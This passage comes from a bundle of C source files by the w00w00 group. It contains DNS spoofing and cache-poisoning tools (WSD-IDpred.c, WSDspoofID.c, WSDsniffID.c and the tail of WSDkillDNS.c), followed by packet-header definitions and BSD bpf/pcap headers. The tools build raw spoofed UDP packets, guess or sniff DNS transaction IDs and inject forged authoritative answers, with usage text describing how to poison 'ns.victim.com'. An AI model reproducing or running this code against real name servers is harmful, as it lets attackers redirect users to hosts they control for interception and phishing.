1; dns->aa = 0; dns->que_num = htons(1); dns->rep_num = htons(0); i = makepacketQS(data, argv[3], TYPE_A); udp_send(sraw, s_ip, d_ip, 1200+loop, 53, buffer2, DNSHDRSIZE+i); s_ip = ntohl(s_ip); s_ip++; s_ip = htonl(s_ip); } if (argc > 5) if (*argv[5]=='B') { s_ip = host2ip("100.1.2.3"); dns->id = 123; dns->rd = 1; dns->que_num = htons(1); printf("Enter the number of packets to send: "); scanf("%d",&i); for (x = 0; x < i; x++) { sprintf(names, "\3%d\3%d\3%d\3%d\07in-addr\04arpa", myrand(), myrand(), myrand(), myrand()); strcpy(data, names); *((u_short *) (data+strlen(names)+1)) = ntohs(12); *((u_short *) (data+strlen(names)+3)) = ntohs(1); udp_send(sraw, s_ip, d_ip, 2600+myrand(), 53, buffer2, 14+strlen(names)+5); s_ip = ntohl(s_ip); s_ip++; s_ip = htonl(s_ip); printf("send packet # %i:%i\n", x, i); } } if (argc > 6) idstart = atoi(argv[6]); else idstart = ID_START; if (argc > 7) idstop = atoi(argv[7]); else idstop = ID_STOP; if (argc > 8) { portstart = atoi(argv[8]); portstop = atoi(argv[9]); } else { portstart = PORT_START; portstop = PORT_STOP; } bzero(buffer2, sizeof(buffer2)); bzero(names, sizeof(names)); i = 0 , x = 0; s_ip = s_ip2, d_ip = d_ip2; for (; idstart < idstop; idstart++) { dns->id = htons(idstart); dns->qr = 1; dns->rd = 1; dns->aa = 1; dns->que_num = htons(1); dns->rep_num = htons(1); (void) printf("send awnser with id %i to port %i at port %i\n", idstart, portstart, portstop); i = makepacketAW(data, argv[3], argv[4], TYPE_A); for (; x < portstop; x++) udp_send(sraw, s_ip, d_ip, 53, x, buffer2, DNSHDRSIZE+i); x = portstart; } printf(" terminated..\n"); } ----[END of WSDkillDNS.c ]---- ----[WSD-IDpred.c ]---- /* ******************************************************* */ /* w00w00 DNS ID Predictor Super Raw */ /* ------------------------------------------------------- */ /* Email: WSD@w00w00.org */ /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */ /* ******************************************************* */ #include #include "dns.h" #include "WSD-spoof.c" #include "WSD-DNS2.c" #define ERROR -1 #define DNSHDRSIZE 12 #define TIMEOUT 300 #define VERSION "v0.7" #define SPOOFIP "4.4.4.4" #define UNDASPOOF "111.111.111.111" #define LEN sizeof(struct sockaddr) void usage() { printf("w00w00 DNS ID Predictor\n"); printf("w00w00 Security Development (WSD)\n"); printf("WSD@w00w00.org\n"); printf(" WSD-idpred [ID] \n"); printf("\n Ex: WSD-idpred ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n"); printf(" We are going to poison ns.victim.com so they resolve mouhhahaha.hol.fr in 31.3.3.7\n"); printf(" We use provnet.fr and ns1.provnet for finding the ID of ns.victim.com\n"); printf(" We use ns.isdnet.net for spoofing because they have AUTH on *.hol.fr\n"); printf(" For more information check ftp.w00w00.org/pub/DNS/\n"); printf(" Mail WSD@w00w00.org.\n"); exit(ERROR); } void senddnspkt(s, d_ip, wwwname, ip, dns) int s; u_long d_ip; char *wwwname; char *ip; struct dnshdr *dns; { int i; char buffer[1024]; char *data = (char *)(buffer+DNSHDRSIZE); struct sockaddr_in sin; bzero(buffer, sizeof(buffer)); memcpy(buffer, dns, DNSHDRSIZE); if (dns->qr == 0) { i = makepacketQS(data, wwwname, TYPE_A); sin.sin_family = AF_INET; sin.sin_port = htons(53); sin.sin_addr.s_addr = d_ip; sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN); } else { i = makepacketAW(data, wwwname, ip, TYPE_A); sin.sin_family = AF_INET; sin.sin_port = htons(53); sin.sin_addr.s_addr = d_ip; sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN); } } void dns_qs_no_rd(s, d_ip, wwwname, ID) int s; u_long d_ip; char *wwwname; int ID; { int i; char *data; char buffer[1024]; struct dnshdr *dns; dns = (struct dnshdr *)buffer; data = (char *)(buffer+DNSHDRSIZE); bzero(buffer, sizeof(buffer)); dns->id = htons(ID); dns->qr = 0; dns->rd = 0; /* dont want the recursion !! */ dns->aa = 0; dns->que_num = htons(1); dns->rep_num = htons(0); i = makepacketQS(data, wwwname, TYPE_A); senddnspkt(s, d_ip, wwwname, NULL, dns); } void main(int argc, char **argv) { struct sockaddr_in sin_rcp; struct dnshdr *dns, *dns_recv; int len = sizeof(struct sockaddr); int sraw, s_r, i, on = 1, x, ID, times; char *alacon; char host[256]; char dnstrust[256]; char *data, *data2; char buf[4000], buf1[4000]; char spoofname[256], spoofip[256]; unsigned char fakename[256]; unsigned char names[256]; unsigned long s_ip, s_ip2; unsigned long d_ip, d_ip2, trust; unsigned int DA_ID = 65535, loop = 65535; dns_recv = (struct dnshdr *)(buf1); data2 = (char *)(buf1+DNSHDRSIZE); dns = (struct dnshdr *)buf; data = (char *)(buf+DNSHDRSIZE); bzero(buf, sizeof(buf)); srand(time(NULL)); printf("w00w00 DNS ID Predictor\n"); printf("w00w00 Security Development (WSD)\n"); printf("WSD@w00w00.org\n"); s_r = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s_r == ERROR) { perror("socket"); exit(ERROR); } if ((fcntl(s_r, F_SETFL, O_NONBLOCK)) == ERROR) { perror("fcntl"); exit(ERROR); } sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == ERROR)) { perror("setsockopt"); exit(ERROR); } if (argc < 2) usage(); if (argc > 9) DA_ID = loop = atoi(argv[9]); if (argc > 6) { if (strlen(argv[6]) > sizeof(spoofname) - 1) { fprintf(stderr, "argv[6] too long: %s\n", argv[6]); exit(ERROR); } else strcpy(spoofname, argv[6]); } else { printf("Enter the name you want spoof: "); scanf("%255s", spoofname); } if (argc > 7) strncpy (host, argv[7], sizeof(host)); else { printf("Enter the IP address of the spoof name: "); scanf("%255s", host); } alacon = (char *)inet_ntoa(host2ip(host)); strcpy(spoofip, alacon); if (argc > 8) { if (strlen(argv[8]) > sizeof(host) - 1) { fprintf(stderr, "argv[8] too long: %s\n", argv[8]); exit(ERROR); } else strcpy(host, argv[8]); } else { printf("Enter the trusted NS of the victim: "); scanf("%255s", host); } alacon = (char *)inet_ntoa(host2ip(host)); strcpy(dnstrust, alacon); printf("WSD-IDpred %s w00w00 (WSD) - Super Raw\n", VERSION); /* save some arguments */ s_ip2 = host2ip(argv[1]); trust = host2ip(argv[2]); s_ip = host2ip(UNDASPOOF); d_ip2 = d_ip = host2ip(argv[4]); if (strlen(argv[3]) > sizeof(fakename) - 1) { fprintf(stderr, "argv[3] too long: %s\n", argv[3]); exit(ERROR); } while(1) { sprintf(fakename, "%d%d%d%d%d%d.%s", myrand(), myrand(), myrand(), myrand(), myrand(), myrand(), argv[3]); sendquestion(s_ip, d_ip, fakename, TYPE_A); /* end of question packet */ bzero(buf, sizeof(buf)); /* re-init some variable */ bzero(names, sizeof(names)); i = 0, x = 0; /* Here we start the spoof anwser */ ID = loop; for (; loop >= ID-10; loop--) { dns->id = htons(loop); dns->qr = 1; dns->rd = 1; dns->aa = 1; dns->que_num = htons(1); dns->rep_num = htons(1); i = makepacketAW(data, fakename, SPOOFIP, TYPE_A); udp_send(sraw, trust, d_ip2, 53, 53, buf, DNSHDRSIZE+i); } bzero(buf, sizeof(buf)); /* re-init some variable */ bzero(names, sizeof(names)); i = 0, x = 0; /* Time for the test spoof */ /* Here we sending question, nonrecursive */ dns_qs_no_rd(s_r, d_ip2, fakename, myrand()); /* We are waiting for answer ... */ while (1) { for (times = 0; times < TIMEOUT; times++) { if (recvfrom(s_r, buf1, sizeof(buf1), 0, (struct sockaddr *)&sin_rcp,&len) != ERROR) { printf("We have the response.\n"); times = 0; break; } usleep(10); times++; } if (times != 0) { printf("We have no response from the NS. Resend question..\n"); dns_qs_no_rd(s_r, d_ip2, fakename, myrand()); } else break; } /* Okay we have an answer */ printf("fakename = %s\n", fakename); if (sin_rcp.sin_addr.s_addr == d_ip2) if (sin_rcp.sin_port == htons(53)) if (dns_recv->qr == 1) { if (dns_recv->rep_num == 0) /* We dont have the right ID */ printf("Try %d < ID < %d\n", ID-10, ID); else { /* The spoof has worked, we have found the right ID! */ printf("the DNS ID of %s is %d < ID < %d!!\n", argv[4], loop-10, loop); printf("Let's send the spoof...\n"); dnsspoof(dnstrust, argv[4], spoofname, spoofip, loop, atoi(argv[5])); printf("spoof sent...\n"); exit(0); } } bzero(buf1, sizeof(buf1)); } } ----[END of WSD-IDpred.c]---- ----[ WSDspoofID.c ]---- /* ******************************************************* */ /* w00w00 DNS ID Spoofer Super Raw */ /* w00w00 Security Development (WSD) */ /* ------------------------------------------------------- */ /* Email: WSD@w00w00.org */ /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */ /* ******************************************************* */ #include "WSD-spoof.c" #include "dns.h" #include "WSD-DNS2.c" #include #include #define ERROR -1 #define DNSHDRSIZE 12 #define VERSION "v0.6" #define SPOOF "127.0.0.1" int ETHHDRSIZE; void main(int argc, char **argv) { int sraw, i, on=1, con, ID, DA_ID, type; struct iphdr *ip; struct udphdr *udp; struct dnshdr *dnsrecv, *dnssend; struct pcap *pcap_d; struct pcap_pkthdr h; char *buf; char *alacon; char host[256]; char ebuf[256]; char buf1[1024]; char namefake[256]; char dnstrust[256]; char *data, *data2; char spoofip[256], spoofname[256]; unsigned long d_ip; unsigned long s_ipns; srand((time(NULL) % random() * random())); printf("w00w00 DNS ID Spoofer - Super Raw!\n"); printf("w00w00 Security Development (WSD)\n"); printf("WSD@w00w00.org\n"); if (argc < 2) { printf("Usage: %s \n",argv[0]); printf("Example: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr\n",argv[0]); printf(" So... we try to poison victim.com with type 12 (PTR). Now, if someone asked for the ip of mail.provnet.fr they will resolve to damn.diz.ip.iz.ereet.ya\n"); exit(1); } if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0; else ETHHDRSIZE = 14; if (argc > 5) type = atoi(argv[5]); if (argc > 6) { if (strlen(argv[6]) > sizeof(spoofname) - 1) { fprintf(stderr, "argv[6] too long: %s\n", argv[6]); exit(ERROR); } else strcpy(spoofname, argv[6]); } else { printf("Enter the name you want to spoof: "); scanf("%255s", spoofname); } if (argc > 7) { if (strlen(argv[7]) > sizeof(host) - 1) { fprintf(stderr, "argv[7] too long: %s\n", argv[7]); exit(ERROR); } else strcpy(host, argv[7]); } else { printf("Enter the IP of the name to spoof: "); scanf("%255s", host); } alacon = (char *)inet_ntoa(host2ip(host)); strcpy(spoofip, alacon); if (argc > 8) strncpy (host, argv[8], sizeof(host)); else { printf("Enter the trusted dns for the spoof: "); scanf("%255s", host); } alacon = (char *)inet_ntoa(host2ip(host)); strcpy(dnstrust, alacon); dnssend = (struct dnshdr *)buf1; data2 = (char *)(buf1+DNSHDRSIZE); bzero(buf1, sizeof(buf1)); sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR) { perror("setsockopt"); exit(ERROR); } printf("WSDspoofID.c %s w00w00 ID sniffer\n", VERSION); printf("w00w00 Security Development\n"); sleep(1); pcap_d = pcap_open_live(argv[1],1024,0,100,ebuf); s_ipns = host2ip(argv[4]); d_ip = host2ip(argv[2]); con = myrand(); /* Make the question to get the ID */ sprintf(namefake, "%d%d%d.%s", myrand(), myrand(), myrand(), argv[3]); dnssend->id = 2600; dnssend->qr = 0; dnssend->rd = 1; dnssend->aa = 0; dnssend->que_num = htons(1); dnssend->rep_num = htons(0); i = makepacketQS(data2, namefake, TYPE_A); udp_send(sraw, s_ipns, d_ip,2600+con, 53, buf1, DNSHDRSIZE+i); printf("Question sent...please wait\n"); while(1) { buf = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */ ip = (struct iphdr *)(buf+ETHHDRSIZE); udp = (struct udphdr *)(buf+ETHHDRSIZE+IPHDRSIZE); dnsrecv = (struct dnshdr *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE); data = (char *)(buf+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE); if (ip->protocol == IPPROTO_UDP) { printf("[%s:%d ->", (char *)inet_ntoa(ip->saddr), ntohs(udp->source)); printf("%s:%d]\n", (char *)inet_ntoa(ip->daddr), ntohs(udp->dest)); } if (ip->protocol == 17) if (ip->saddr.s_addr == d_ip) if (ip->daddr.s_addr == s_ipns) if (udp->dest == htons(53)) if (dnsrecv->qr == 0) { printf("We have the packet!\n"); ID = dnsrecv->id; /* We have the id. */ printf("the current id of %s is %d \n", argv[2], ntohs(ID)); DA_ID = ntohs(ID); printf("Sending the spoof...\n"); dnsspoof(dnstrust, argv[2], spoofname, spoofip, DA_ID,type); printf("Spoof sent...\n"); exit(0); } } } ----[END of WSDspoofID.c ]---- ----[WSDsniffID.c]---- /* ******************************************************* */ /* w00w00 LAN ID Sniffer Super Raw */ /* ------------------------------------------------------- */ /* w00w00 Security Development (WSD) */ /* Email: WSD@w00w00.org */ /* Sites: http://www.w00w00.org, ftp://ftp.w00w00.org/pub */ /* ******************************************************* */ #include #include "WSD-spoof.c" #include "dns.h" #include "WSD-DNS2.c" #define ERROR -1 #define DNSHDRSIZE 12 #define VERSION "v0.4" int ETHHDRSIZE; void usage() { printf("Usage: WSDsniffID \n"); printf("Example: WSDsniffID eth0 \"127.0.0.1\" \"www.its.me.com\"\n"); printf("Raw-Powa (WSD)\n"); exit(ERROR); } void main(int argc, char **argv) { int sraw, on = 1, tmp1, type; char *buffer; char *data, *data2; struct pcap *pcap_d; struct pcap_pkthdr h; struct iphdr *ip; struct udphdr *udp; struct dnshdr *dnsrecv, *dnssend; char host[255]; char tmp2[255]; char ebuf[255]; char buffer2[1024]; char spoofip[255], spoofname[255]; unsigned char names[255]; printf("w00w00 LAN ID SNIFFER! Super Raw\n"); printf("w00w00 Security Development (WSD)\n"); printf("WSD@w00w00.org\n"); if (argc < 2) usage(); if (strstr(argv[1], "ppp0")) ETHHDRSIZE = 0; else ETHHDRSIZE = 14; if (strlen(argv[2]) > sizeof(spoofip) - 1) { fprintf(stderr, "argv[2] too long: %s\n", argv[2]); exit(ERROR); } if (strlen(argv[3]) > sizeof(spoofip) - 1) { fprintf(stderr, "argv[3] too long: %s\n", argv[3]); exit(ERROR); } strcpy(spoofip, argv[2]); strcpy(spoofname, argv[3]); type = atoi(argv[4]); dnssend = (struct dnshdr *)buffer2; data2 = (char *)(buffer2+12); bzero(host, sizeof(host)); bzero(buffer2, sizeof(buffer2)); sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sraw == ERROR) { perror("socket"); exit(ERROR); } if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR) { perror("setsockopt"); exit(ERROR); } /* open pcap descriptor */ pcap_d = pcap_open_live(argv[1], sizeof(buffer), 0, 100, ebuf); while(1) { buffer = (u_char *)pcap_next(pcap_d,&h); /* catch the packet */ ip = (struct iphdr *)(buffer+ETHHDRSIZE); udp = (struct udphdr *)(buffer+ETHHDRSIZE+IPHDRSIZE); dnsrecv = (struct dnshdr *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE); data = (char *)(buffer+ETHHDRSIZE+IPHDRSIZE+UDPHDRSIZE+DNSHDRSIZE); if (ip->protocol == 17) if (udp->dest == htons(53)) if (dnsrecv->qr == 0) { strcpy(names, data); nameformat(names, host); printf("We have a DNS question from %s, which wants: %s!\n", (char *)inet_ntoa(ip->saddr), host); bzero(host, sizeof(host)); printf("The question has a type %d " "and type of the query is %d\n", ntohs(*((u_short *)(data+strlen(data)+1))), ntohs(*((u_short *)(data+strlen(data)+2+1)))); printf("Making the spoofed packet...\n"); /* Here we are going to start making the spoofed packet */ memcpy(dnssend, dnsrecv, DNSHDRSIZE+strlen(names)+5); dnssend->id=dnsrecv->id; /* The ID */ dnssend->aa=1; /* I have the authority */ dnssend->ra=1; /* I have the recusion */ dnssend->qr=1; /* It's an answer */ dnssend->rep_num = htons(1); /* I have one awnser */ printf("ID = %d, Number of question = %d, " "number of anwser = %d\n", dnssend->id, ntohs(dnssend->que_num), ntohs(dnssend->rep_num)); printf("Question..\n"); printf("domainename = %s\n", data2); printf("type of question = %d\n", ntohs(*((u_short *)(data2+strlen(names)+1)))); printf("type of query = %d\n", ntohs(*((u_short *)(data2+strlen(names)+1+2)))); if (type == TYPE_PTR) { tmp1 = strlen(names)+5; strcpy(data2+tmp1, names); tmp1 = tmp1+strlen(names)+1; bzero(tmp2, sizeof(tmp2)); nameformat(spoofname, tmp2); *((u_short *)(data2+tmp1)) = htons(TYPE_PTR); *((u_short *)(data2+tmp1+2)) = htons(1); *((u_long *)(data2+tmp1+2+2)) = htonl(86400); *((u_short *)(data2+tmp1+2+2+4)) = htons(strlen((tmp2)+1)); strcpy((data2+tmp1+2+2+4+2), tmp2); tmp1 = tmp1 +strlen(tmp2)+ 1; } if (type == TYPE_A) { tmp1 = strlen(names)+5; strcpy(data2+tmp1, names); tmp1 = tmp1+strlen(names)+1; *((u_short *)(data2+tmp1)) = htons(TYPE_A); *((u_short *)(data2+tmp1+2)) = htons(1); *((u_long *)(data2+tmp1+2+2)) = htonl(86400); *((u_short *)(data2+tmp1+2+2+4)) = htons(4); *((u_long *)(data2+tmp1+2+2+4+2)) = host2ip(spoofip); } printf("Answer..\n"); printf("domainname = %s\n", tmp2); printf("type = %d\n", ntohs(*((u_short *)(data2+tmp1)))); printf("classe = %d\n", ntohs(*((u_short *)(data2+tmp1+2)))); printf("time to live = %lu\n", ntohl(*((u_long *)(data2+tmp1+2+2)))); printf("resource data length = %d\n", ntohs(*((u_short *)(data2+tmp1+2+2+4)))); printf("IP = %s\n", (char *)inet_ntoa(*((u_long *)(data2+tmp1+2+2+4+2)))); /* Now tmp1 == the total length of packet dns without the */ /* dnshdr. */ tmp1 = tmp1+2+2+4+2+4; udp_send(sraw, ip->daddr, ip->saddr, ntohs(udp->dest), ntohs(udp->source), buffer2, DNSHDRSIZE+tmp1); } } } ----[END of WSDsniffID.c ]---- ----[udp.h ]---- struct udphdr { u_short source; /* source port */ u_short dest; /* destination port */ u_short len; /* udp length */ u_short check; /* udp checksum */ }; ----[END of udp.h]---- ----[ dns.h ]---- #define DNSHDRSIZE 12 struct dnshdr { unsigned short int id; unsigned char rd:1; unsigned char tc:1; unsigned char aa:1; unsigned char opcode:4; unsigned char qr:1; unsigned char rcode:4; unsigned char unused:2; unsigned char pr:1; unsigned char ra:1; unsigned short int que_num; unsigned short int rep_num; unsigned short int num_rr; unsigned short int num_rrsup; }; ----[ END of dns.h ]---- ----[ ip.h ]---- /* adapted from tcpdump */ #ifndef IPVERSION #define IPVERSION 4 #endif /* IPVERISON */ struct iphdr { u_char ihl:4, /* header length */ version:4; /* version */ u_char tos; /* type of service */ short tot_len; /* total length */ u_short id; /* identification */ short off; /* fragment offset field */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ u_short check; /* checksum */ struct in_addr saddr, daddr; /* source and dest address */ }; #ifndef IP_MAXPACKET #define IP_MAXPACKET 65535 #endif /* IP_MAXPACKET */ ----[ END of ip.h ]---- ----[bpf.h]---- /*- * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 * The Regents of the University of California. All rights reserved. * * This code is derived from the Stanford/CMU enet packet filter, * (net/enet.c) distributed as part of 4.3BSD, and code contributed * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence * Berkeley Laboratory. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)bpf.h 7.1 (Berkeley) 5/7/91 * * @(#) $Header: bpf.h,v 1.36 97/06/12 14:29:53 leres Exp $ (LBL) */ #ifndef BPF_MAJOR_VERSION /* BSD style release date */ #define BPF_RELEASE 199606 typedef int bpf_int32; typedef u_int bpf_u_int32; /* * Alignment macros. BPF_WORDALIGN rounds up to the next * even multiple of BPF_ALIGNMENT. */ #define BPF_ALIGNMENT sizeof(bpf_int32) #define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1)) #define BPF_MAXINSNS 512 #define BPF_MAXBUFSIZE 0x8000 #define BPF_MINBUFSIZE 32 /* * Structure for BIOCSETF. */ struct bpf_program { u_int bf_len; struct bpf_insn *bf_insns; }; /* * Struct returned by BIOCGSTATS. */ struct bpf_stat { u_int bs_recv; /* number of packets received */ u_int bs_drop; /* number of packets dropped */ }; /* * Struct return by BIOCVERSION. This represents the version number of * the filter language described by the instruction encodings below. * bpf understands a program iff kernel_major == filter_major && * kernel_minor >= filter_minor, that is, if the value returned by the * running kernel has the same major number and a minor number equal * equal to or less than the filter being downloaded. Otherwise, the * results are undefined, meaning an error may be returned or packets * may be accepted haphazardly. * It has nothing to do with the source code version. */ struct bpf_version { u_short bv_major; u_short bv_minor; }; /* Current version number of filter architecture. */ #define BPF_MAJOR_VERSION 1 #define BPF_MINOR_VERSION 1 /* * BPF ioctls * * The first set is for compatibility with Sun's pcc style * header files. If your using gcc, we assume that you * have run fixincludes so the latter set should work. */ #if (defined(sun) || defined(ibm032)) && !defined(__GNUC__) #define BIOCGBLEN _IOR(B,102, u_int) #define BIOCSBLEN _IOWR(B,102, u_int) #define BIOCSETF _IOW(B,103, struct bpf_program) #define BIOCFLUSH _IO(B,104) #define BIOCPROMISC _IO(B,105) #define BIOCGDLT _IOR(B,106, u_int) #define BIOCGETIF _IOR(B,107, struct ifreq) #define BIOCSETIF _IOW(B,108, struct ifreq) #define BIOCSRTIMEOUT _IOW(B,109, struct timeval) #define BIOCGRTIMEOUT _IOR(B,110, struct timeval) #define BIOCGSTATS _IOR(B,111, struct bpf_stat) #define BIOCIMMEDIATE _IOW(B,112, u_int) #define BIOCVERSION _IOR(B,113, struct bpf_version) #define BIOCSTCPF _IOW(B,114, struct bpf_program) #define BIOCSUDPF _IOW(B,115, struct bpf_program) #else #define BIOCGBLEN _IOR('B',102, u_int) #define BIOCSBLEN _IOWR('B',102, u_int) #define BIOCSETF _IOW('B',103, struct bpf_program) #define BIOCFLUSH _IO('B',104) #define BIOCPROMISC _IO('B',105) #define BIOCGDLT _IOR('B',106, u_int) #define BIOCGETIF _IOR('B',107, struct ifreq) #define BIOCSETIF _IOW('B',108, struct ifreq) #define BIOCSRTIMEOUT _IOW('B',109, struct timeval) #define BIOCGRTIMEOUT _IOR('B',110, struct timeval) #define BIOCGSTATS _IOR('B',111, struct bpf_stat) #define BIOCIMMEDIATE _IOW('B',112, u_int) #define BIOCVERSION _IOR('B',113, struct bpf_version) #define BIOCSTCPF _IOW('B',114, struct bpf_program) #define BIOCSUDPF _IOW('B',115, struct bpf_program) #endif /* * Structure prepended to each packet. */ struct bpf_hdr { struct timeval bh_tstamp; /* time stamp */ bpf_u_int32 bh_caplen; /* length of captured portion */ bpf_u_int32 bh_datalen; /* original length of packet */ u_short bh_hdrlen; /* length of bpf header (this struct plus alignment padding) */ }; /* * Because the structure above is not a multiple of 4 bytes, some compilers * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work. * Only the kernel needs to know about it; applications use bh_hdrlen. */ #ifdef KERNEL #define SIZEOF_BPF_HDR 18 #endif /* * Data-link level type codes. */ #define DLT_NULL 0 /* no link-layer encapsulation */ #define DLT_EN10MB 1 /* Ethernet (10Mb) */ #define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */ #define DLT_AX25 3 /* Amateur Radio AX.25 */ #define DLT_PRONET 4 /* Proteon ProNET Token Ring */ #define DLT_CHAOS 5 /* Chaos */ #define DLT_IEEE802 6 /* IEEE 802 Networks */ #define DLT_ARCNET 7 /* ARCNET */ #define DLT_SLIP 8 /* Serial Line IP */ #define DLT_PPP 9 /* Point-to-point Protocol */ #define DLT_FDDI 10 /* FDDI */ #define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */ #define DLT_RAW 12 /* raw IP */ #define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */ #define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */ /* * The instruction encondings. */ /* instruction classes */ #define BPF_CLASS(code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07 /* ld/ldx fields */ #define BPF_SIZE(code) ((code) & 0x18) #define BPF_W 0x00 #define BPF_H 0x08 #define BPF_B 0x10 #define BPF_MODE(code) ((code) & 0xe0) #define BPF_IMM 0x00 #define BPF_ABS 0x20 #define BPF_IND 0x40 #define BPF_MEM 0x60 #define BPF_LEN 0x80 #define BPF_MSH 0xa0 /* alu/jmp fields */ #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 #define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_OR 0x40 #define BPF_AND 0x50 #define BPF_LSH 0x60 #define BPF_RSH 0x70 #define BPF_NEG 0x80 #define BPF_JA 0x00 #define BPF_JEQ 0x10 #define BPF_JGT 0x20 #define BPF_JGE 0x30 #define BPF_JSET 0x40 #define BPF_SRC(code) ((code) & 0x08) #define BPF_K 0x00 #define BPF_X 0x08 /* ret - BPF_K and BPF_X also apply */ #define BPF_RVAL(code) ((code) & 0x18) #define BPF_A 0x10 /* misc */ #define BPF_MISCOP(code) ((code) & 0xf8) #define BPF_TAX 0x00 #define BPF_TXA 0x80 /* * The instruction data structure. */ struct bpf_insn { u_short code; u_char jt; u_char jf; bpf_int32 k; }; /* * Macros for insn array initializers. */ #define BPF_STMT(code, k) { (u_short)(code), 0, 0, k } #define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k } #ifdef KERNEL extern u_int bpf_filter(); extern void bpfattach(); extern void bpf_tap(); extern void bpf_mtap(); #else #if __STDC__ extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); #endif #endif /* * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST). */ #define BPF_MEMWORDS 16 #endif ----[ END of bpf.h ]---- ---[pcap.h ]--- /* * Copyright (c) 1993, 1994, 1995, 1996, 1997 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the Computer Systems * Engineering Group at Lawrence Berkeley Laboratory. * 4. Neither the name of the University nor of the Laboratory may be used * to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#) 